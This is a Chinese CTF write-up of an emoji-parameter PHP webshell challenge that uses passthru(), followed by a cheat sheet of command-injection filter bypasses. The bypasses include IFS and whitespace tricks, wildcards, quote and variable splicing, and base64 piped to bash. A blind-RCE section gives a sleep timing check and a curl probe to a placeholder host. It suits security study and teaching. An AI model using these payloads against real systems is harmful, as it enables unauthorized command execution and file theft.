FSCTF 2023 Webshell 是啥捏:Emoji 参数与 passthru 命令执行
复盘 Emoji 参数混淆的 PHP Webshell,并整理 Linux 命令执行中常见的解析差异、关键词过滤与无回显判断方法。
本文记录授权 CTF 环境中的解题过程。示例中的路径、参数和域名均用于本地靶场分析。
一、题目复盘
题目:[FSCTF 2023] webshell 是啥捏
1. 核心考点
- PHP 代码审计:识别使用 Emoji 参数名进行混淆的 Webshell。
- 命令执行:理解
passthru()调用系统命令并直接输出结果的行为。 - 过滤判断:区分命令未执行、命令无输出和关键词被题目代码拦截等情况。
- Shell 解析:利用通配符匹配文件名,避免在输入中直接出现被过滤的完整关键词。
这里观察到的是题目自身的关键词过滤行为。除非能够确认请求经过了独立的 Web 应用防火墙,否则更准确的说法是“应用层过滤”或“关键词黑名单”,而不是笼统称为 WAF。
2. 识别输入参数
源码中使用 Emoji 👽 作为 GET 参数名。先传入一个能够产生可见输出的基础命令,确认参数确实到达命令执行位置:
?👽=ls -la
浏览器或 HTTP 客户端实际发送请求时,会对 Emoji 和空格进行 URL 编码。等价的编码形式为:
?%F0%9F%91%BD=ls%20-la
页面成功返回目录列表,并能看到 index.php,说明参数名、传递路径和回显方式均已确认。
3. 定位目标文件
继续查看根目录:
?👽=ls -la /
回显显示根目录存在 /flag.txt。随后分别测试文件读取命令和完整文件名:
cat /flag.txt
tac /flag.txt
两次都没有得到预期内容。结合前面的正常命令回显,可以继续分别改变命令名和文件名,判断过滤目标。题目表现说明输入中的 cat 和 flag 都可能触发过滤。
4. 构造最终输入
这里做了两处调整:
- 使用
tac作为替代的文件读取命令。 - 使用
/fl*让 Shell 在执行阶段展开文件名,避免输入中直接出现完整的flag。
便于阅读的形式:
?👽=tac /fl*
URL 编码形式:
?%F0%9F%91%BD=tac%20%2Ffl%2A
通配符是否能唯一匹配目标取决于目录中的实际文件。如果 /fl* 同时匹配多个文件,命令会依次处理这些文件,结果可能与预期不同。
原始记录中的下面这条命令不需要保留:
ls -la / | tac /fl*
管道会把 ls 的输出传给右侧命令的标准输入,但 tac 已经接收了 /fl* 作为文件参数,因此它会读取匹配到的文件,前面的 ls 输出不会参与文件内容读取。直接使用 tac /fl* 更准确。
二、Linux 命令执行中的常见解析差异
命令执行题通常同时经过多个解析层:
- HTTP 客户端对 URL 进行编码。
- Web 框架解析查询参数。
- PHP 将参数传给
passthru()、system()等函数。 - Shell 再处理变量、引号、通配符、重定向和管道。
某种写法能否生效,取决于过滤发生在哪一层。不能只看最终的 Shell 语法,还要确认中间层是否提前解码、删除或拒绝了字符。
1. 空白字符与重定向
当普通空格被过滤时,常见测试形式包括:
cat${IFS}/flag
cat$IFS$9/flag
cat%09/flag
cat</flag
${IFS}会在 Shell 中展开为字段分隔字符,但具体值可能受运行环境影响。$IFS$9实际由$IFS与位置参数$9组成;它依赖 Shell 上下文,不应视为所有环境都稳定可用的固定语法。%09是 URL 中的 Tab 编码,只有在 Web 层将其解码并传递给 Shell 时才可能充当分隔符。cat</flag不是把<当作空格,而是把文件重定向为命令的标准输入。<>会以读写方式打开文件,与单纯的输入重定向不同,不适合作为通用替代写法。
2. 关键词的分段与展开
通配符
cat /fl*
cat /fla?
cat /fl[a-z]g
*匹配任意长度的文件名片段。?只匹配一个字符。[a-z]匹配一个范围内的小写字符,其行为还可能受到 Shell 和区域设置影响。
通配符可能匹配零个、一个或多个路径,因此使用前需要先根据目录列表判断匹配范围。
变量拼接
a=c;b=at;$a$b /flag
a=fl;b=ag;cat /$a$b
Shell 会先展开变量,再执行组合后的命令或路径。这类写法只对匹配原始输入、但未检查展开结果的简单过滤有效。
引号与反斜杠
c'a't /fl'a'g
c"a"t /fl"a"g
c\at /fl\ag
Shell 会在词法处理阶段移除这些引号或转义符。它们可能绕过简单的完整字符串匹配,但无法绕过规范化后再检查的过滤逻辑。
编码后再解释
echo 'Y2F0IC9mbGFn' | base64 -d | bash
$(printf '\x63\x61\x74\x20\x2f\x66\x6c\x61\x67')
$'\x63\x61\x74' /flag
这三种写法分别依赖 Base64 解码、命令替换和 ANSI-C 引号。是否可用取决于系统工具、Shell 类型以及过滤位置。
反引号同样属于命令替换语法:
`echo cat` /flag
Shell 会先执行 echo cat,把输出作为当前命令行的一部分,再执行展开后的命令。这里不应把它描述为普通的字符串拼接。
3. 文件内容查看方式
当某个命令名被过滤时,可以在靶场中确认系统是否存在其他只读工具:
tac /flag
head -n 20 /flag
tail -n 20 /flag
nl /flag
sed -n '1,50p' /flag
od -c /flag
不同工具的输出并不完全等价:
tac反转行的顺序。head和tail只显示部分内容。nl会添加行号。sed只输出指定范围。od以字符和数值表示形式输出数据。sort会重新排序,uniq只处理相邻重复行,grep .会遗漏空行,strings只提取可打印字符串,因此都可能改变或丢失原始内容。more和less主要是交互式分页器,在没有终端的 Web 进程中行为可能不同。
4. PHP 命令执行函数的差异
常见的 PHP 外部进程接口包括:
| 接口 | 主要特点 |
|---|---|
system() |
执行命令并输出结果,返回最后一行 |
passthru() |
执行命令并直接输出原始结果,适合非文本输出 |
exec() |
默认不直接输出,可通过参数接收输出数组和状态码 |
shell_exec()、反引号 |
将完整输出作为字符串返回 |
popen() |
返回进程管道,需要自行读取或写入 |
proc_open() |
可分别控制标准输入、标准输出和标准错误 |
pcntl_exec() |
用指定程序替换当前 PHP 进程,行为与普通返回式调用不同 |
ob_start() 只负责缓冲 PHP 输出,本身不执行系统命令。include 和 require 属于文件包含机制,也不应列为 system() 或 passthru() 的直接替代函数。
5. 无回显命令执行
页面没有输出时,可以先用时间差判断命令是否执行:
?cmd=sleep%205
如果响应时间稳定增加约五秒,说明命令可能已经执行,但仍应通过多次对照请求排除网络抖动。
在完全受控的本地靶场中,也可以把无敏感内容的标记发送到专用监听端,验证出站请求路径。示例使用保留域名,不能直接解析:
?cmd=curl%20http%3A%2F%2Flab.example.invalid%2Fprobe
另一种做法是将无害的固定标记写入靶场允许访问的临时位置,再读取该标记:
printf 'rce-check' > /var/www/html/result.txt
这用于确认输出通道,不需要写入可执行脚本。
6. 长度限制与字符集限制
“输入长度受限”和“禁止字母数字”是两类不同问题:
- 长度限制关注如何缩短已有命令,例如利用较短路径、环境变量或已有文件名。
- 字符集限制关注允许使用哪些字符,常见题型会结合重定向创建文件、按时间排序文件名,再由通配符展开。
例如 >a 会创建或清空名为 a 的文件;它不是完整利用链。若要说明通过多个短文件名重组命令,必须同时交代文件创建顺序、ls -t 的排序结果、通配符展开顺序和最终解释命令,不能只写“>a、ls -t、* 组合”。
Base64、十六进制与 $_GET 参数拼接只是可能采用的编码或输入组织方式,也不能自动突破长度限制,需要结合题目的具体字符过滤规则分析。
7. Shell 运算符速查
| 符号 | 含义 |
|---|---|
| ` | ` |
| ` | |
&& |
左侧命令成功时才执行右侧命令 |
; |
依次执行前后命令,不依赖前一条命令的状态 |
& |
将前一条命令放到后台执行 |
%0a |
URL 编码的换行符;能否成为命令分隔符取决于解码和过滤过程 |
? 与字符集合 [] 也不是完全等价的替代关系:? 固定匹配任意一个字符,而 [] 可以限定该字符的候选范围。
路径通配符必须与目标长度一致。例如 /???/?????? 表示三级目录名加六字符文件名,不能表示三字符的 /bin/cat。即使长度一致,通配符也可能匹配多个路径,因此不能把它当作稳定、唯一的命令路径。
三、复盘要点
- 先用低风险、可见输出的命令确认参数名、执行位置和回显通道。
- 分别改变命令名与参数,避免把“命令不存在”“路径不匹配”和“关键词被过滤”混为一谈。
- 区分 URL 解码、PHP 参数解析与 Shell 展开,明确过滤发生在哪一层。
- 使用管道前确认右侧命令是否真的读取标准输入;指定了文件参数的命令可能完全忽略管道内容。
- 通配符、引号、变量和编码写法都依赖具体环境,记录时应同时说明前提与输出差异。